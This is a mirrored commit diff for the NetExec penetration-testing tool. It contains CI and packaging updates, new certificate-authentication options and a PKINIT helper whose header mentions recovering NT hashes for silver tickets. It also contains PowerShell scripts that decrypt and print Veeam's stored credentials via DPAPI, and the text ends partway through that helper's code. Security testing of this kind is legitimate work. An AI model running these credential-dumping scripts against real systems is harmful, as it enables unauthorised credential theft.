mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Merge branch 'main' into recent-files
This commit is contained in:
-8
@@ -1,11 +1,3 @@
|
||||
---
|
||||
name: Pull request
|
||||
about: Update code to fix a bug or add an enhancement/feature
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.11"]
|
||||
python-version: ["3.13"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
@@ -25,13 +25,13 @@ jobs:
|
||||
pyinstaller netexec.spec
|
||||
- name: Upload Windows Binary
|
||||
if: runner.os == 'windows'
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc.exe
|
||||
path: dist/nxc.exe
|
||||
- name: Upload Nix/OSx Binary
|
||||
if: runner.os != 'windows'
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-${{ matrix.os }}
|
||||
path: dist/nxc
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
@@ -22,12 +22,12 @@ jobs:
|
||||
pip install shiv
|
||||
python build_collector.py
|
||||
- name: Upload nxc ZipApp
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
|
||||
path: bin/nxc
|
||||
- name: Upload nxcdb ZipApp
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
|
||||
path: bin/nxcdb
|
||||
|
||||
@@ -19,7 +19,7 @@ jobs:
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.11
|
||||
python-version: 3.13
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
|
||||
@@ -8,18 +8,20 @@ on:
|
||||
jobs:
|
||||
build:
|
||||
name: Test for Py${{ matrix.python-version }}
|
||||
if: github.event.review.state == 'APPROVED'
|
||||
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
@@ -29,11 +31,6 @@ jobs:
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
@@ -48,4 +45,4 @@ jobs:
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -M veeam
|
||||
poetry run netexec smb 127.0.0.1 -L
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
|
||||
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
|
||||
Copyright (c) 2022, byt3bl33d3r
|
||||
All rights reserved.
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||

|
||||

|
||||
[](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
|
||||
[](https://twitter.com/intent/follow?screen_name=_zblurx)
|
||||
[](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
|
||||
|
||||
+5
-1
@@ -20,15 +20,18 @@ a = Analysis(
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.examples.regsecrets',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
'impacket.dcerpc.v5.transport',
|
||||
'impacket.dcerpc.v5.lsad',
|
||||
'impacket.dcerpc.v5.gkdi',
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'jwt',
|
||||
'nxc.connection',
|
||||
'nxc.servers.smb',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
@@ -45,9 +48,9 @@ a = Analysis(
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
'pypsrp.client',
|
||||
'pywerview.cli.helpers',
|
||||
'pylnk3',
|
||||
'pypykatz',
|
||||
'pyNfsClient',
|
||||
'masky',
|
||||
'msldap',
|
||||
'msldap.connection',
|
||||
@@ -69,6 +72,7 @@ a = Analysis(
|
||||
'dploot.triage.masterkeys',
|
||||
'dploot.triage.mobaxterm',
|
||||
'dploot.triage.backupkey',
|
||||
'dploot.triage.wam',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.lib.target',
|
||||
|
||||
+15
-6
@@ -19,11 +19,13 @@ def gen_cli_args():
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
DISTANCE, COMMIT = COMMIT.split(".")
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "ItsAlwaysDNS"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
DISTANCE = ""
|
||||
CODENAME = "NeedForSpeed"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
@@ -53,9 +55,9 @@ def gen_cli_args():
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
ॱ ॱ
|
||||
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
˙ \ / ˙
|
||||
˙ ˙
|
||||
|
||||
The network execution tool
|
||||
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
@@ -98,6 +100,13 @@ def gen_cli_args():
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
|
||||
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
|
||||
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
|
||||
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
|
||||
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
|
||||
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
|
||||
|
||||
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
|
||||
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
|
||||
@@ -123,7 +132,7 @@ def gen_cli_args():
|
||||
sys.exit(1)
|
||||
|
||||
if args.version:
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
|
||||
sys.exit(1)
|
||||
|
||||
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
|
||||
|
||||
+15
-4
@@ -1,4 +1,7 @@
|
||||
import random
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
@@ -13,10 +16,9 @@ from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
@@ -229,7 +231,8 @@ class connection:
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
@@ -383,7 +386,7 @@ class connection:
|
||||
if isfile(user):
|
||||
with open(user) as user_file:
|
||||
for line in user_file:
|
||||
if "\\" in line:
|
||||
if "\\" in line and len(line.split("\\")) == 2:
|
||||
domain_single, username_single = line.split("\\")
|
||||
else:
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
|
||||
@@ -547,6 +550,14 @@ class connection:
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if not self.args.username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
return pfx_auth(self)
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
|
||||
$SqlServerName = "REPLACE_ME_SqlServer"
|
||||
$SqlInstanceName = "REPLACE_ME_SqlInstance"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
#Forming the connection string
|
||||
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
|
||||
$auth = "Integrated Security=SSPI;" #Local user
|
||||
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
|
||||
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
|
||||
@@ -22,19 +23,46 @@ catch {
|
||||
exit -1
|
||||
}
|
||||
|
||||
$rows=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($rows.count -eq 0) {
|
||||
$output=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($output.count -eq 0) {
|
||||
Write-Host "No passwords found!"
|
||||
exit
|
||||
}
|
||||
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$rows | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
# Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
|
||||
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
|
||||
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
|
||||
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
|
||||
|
||||
if ($output.count -eq 0) {
|
||||
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
|
||||
exit
|
||||
}
|
||||
|
||||
# Decrypting passwords using DPAPI
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
+31
-1
@@ -1,4 +1,5 @@
|
||||
import configparser
|
||||
import ipaddress
|
||||
import shutil
|
||||
import sys
|
||||
from os import mkdir
|
||||
@@ -8,7 +9,7 @@ from pathlib import Path
|
||||
from sqlite3 import connect
|
||||
from threading import Lock
|
||||
|
||||
from sqlalchemy import create_engine, MetaData
|
||||
from sqlalchemy import create_engine, MetaData, func
|
||||
from sqlalchemy.exc import IllegalStateChangeError
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
|
||||
@@ -109,7 +110,36 @@ def initialize_db():
|
||||
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
def format_host_query(q, filter_term, HostsTable):
|
||||
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
|
||||
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
|
||||
"""
|
||||
# the FTP and SSH protocols call the column host instead of IP
|
||||
# TODO: normalize these column names
|
||||
if hasattr(HostsTable.c, "ip"):
|
||||
ip_column = HostsTable.c.ip
|
||||
nxc_logger.debug("Using 'ip' column for filtering")
|
||||
elif hasattr(HostsTable.c, "host"):
|
||||
ip_column = HostsTable.c.host
|
||||
nxc_logger.debug("Using 'host' column for filtering")
|
||||
else:
|
||||
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
|
||||
return q
|
||||
|
||||
# first we check if its an ip address
|
||||
try:
|
||||
ipaddress.ip_address(filter_term)
|
||||
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
|
||||
q = q.filter(ip_column == filter_term)
|
||||
except ValueError:
|
||||
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
|
||||
# check if the hostname column exists for hostname searching
|
||||
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
|
||||
|
||||
return q
|
||||
|
||||
class BaseDB:
|
||||
def __init__(self, db_engine):
|
||||
|
||||
+16
-1
@@ -1,4 +1,5 @@
|
||||
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
|
||||
from argparse import Action
|
||||
|
||||
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
def _get_help_string(self, action):
|
||||
@@ -7,4 +8,18 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
|
||||
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
|
||||
help_string += " (default: %(default)s)" # NORUFF
|
||||
return help_string
|
||||
return help_string
|
||||
|
||||
|
||||
class DefaultTrackingAction(Action):
|
||||
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
|
||||
# Store the default value to check later
|
||||
self.default_value = default
|
||||
super().__init__(
|
||||
option_strings, dest, default=default, required=required, **kwargs
|
||||
)
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
# Set an attribute to track whether the value was explicitly set
|
||||
setattr(namespace, self.dest, values)
|
||||
setattr(namespace, f"{self.dest}_explicitly_set", True)
|
||||
|
||||
@@ -0,0 +1,538 @@
|
||||
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Description:
|
||||
# This script will use an existing TGT to request a PAC for the current user using U2U.
|
||||
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
|
||||
# used for silver tickets and for backwards compatibility with other tooling.
|
||||
#
|
||||
# References:
|
||||
#
|
||||
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
|
||||
#
|
||||
# Based on examples from minikerberos by skelsec
|
||||
# Parts of this code was inspired by the following project by @rubin_mor
|
||||
# https://github.com/morRubin/AzureADJoinedMachinePTC
|
||||
#
|
||||
# Author:
|
||||
# Tamas Jos (@skelsec)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
|
||||
import os
|
||||
import secrets
|
||||
import hashlib
|
||||
import datetime
|
||||
import logging
|
||||
import random
|
||||
import base64
|
||||
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
|
||||
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
|
||||
from minikerberos.pkinit import PKINIT, DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
|
||||
PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.type.univ import noValue
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
|
||||
from impacket.krb5.kerberosv5 import sendReceive
|
||||
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
|
||||
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
|
||||
# Imports for pfx_auth
|
||||
from minikerberos.network.clientsocket import KerberosClientSocket
|
||||
from minikerberos.common.target import KerberosTarget
|
||||
from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class myPKINIT(PKINIT):
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
pfxdata = f.read()
|
||||
|
||||
if b64:
|
||||
pfxdata = base64.b64decode(pfxdata)
|
||||
|
||||
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
|
||||
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
|
||||
if not pfxpass:
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
|
||||
pem_key = privkey.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
)
|
||||
pkinit.privkey = load_private_key(parse_private(pem_key))
|
||||
pem_cert = cert.public_bytes(
|
||||
encoding=serialization.Encoding.PEM
|
||||
)
|
||||
pkinit.certificate = parse_certificate(pem_cert)
|
||||
else:
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
|
||||
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@staticmethod
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = parse_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
pkinit.privkey = load_private_key(parse_private(f.read()))
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
def sign_authpack(self, data, wrap_signed=False):
|
||||
return self.sign_authpack_native(data, wrap_signed)
|
||||
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
print("Generating DH params...")
|
||||
print("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
elif isinstance(dh_params, bytes):
|
||||
self.diffie = DirtyDH.from_asn1(dh_params)
|
||||
elif isinstance(dh_params, DirtyDH):
|
||||
self.diffie = dh_params
|
||||
else:
|
||||
raise Exception("DH params must be either a bytearray or a dict")
|
||||
|
||||
def build_asreq(self, domain=None, cname=None, kdcopts=None):
|
||||
if kdcopts is None:
|
||||
kdcopts = ["forwardable", "renewable", "renewable-ok"]
|
||||
if isinstance(kdcopts, list):
|
||||
kdcopts = set(kdcopts)
|
||||
if cname is not None:
|
||||
if isinstance(cname, str):
|
||||
cname = [cname]
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.timezone.utc)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
|
||||
kdc_req_body_data["realm"] = domain.upper()
|
||||
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
|
||||
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["nonce"] = secrets.randbits(31)
|
||||
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
|
||||
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
|
||||
|
||||
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
|
||||
|
||||
authenticator = {}
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = now.replace(microsecond=0)
|
||||
authenticator["nonce"] = secrets.randbits(31)
|
||||
authenticator["paChecksum"] = checksum
|
||||
|
||||
dp = {}
|
||||
dp["p"] = self.diffie.p
|
||||
dp["g"] = self.diffie.g
|
||||
dp["q"] = 0 # mandatory parameter, but it is not needed
|
||||
|
||||
pka = {}
|
||||
pka["algorithm"] = "1.2.840.10046.2.1"
|
||||
pka["parameters"] = keys.DomainParameters(dp)
|
||||
|
||||
spki = {}
|
||||
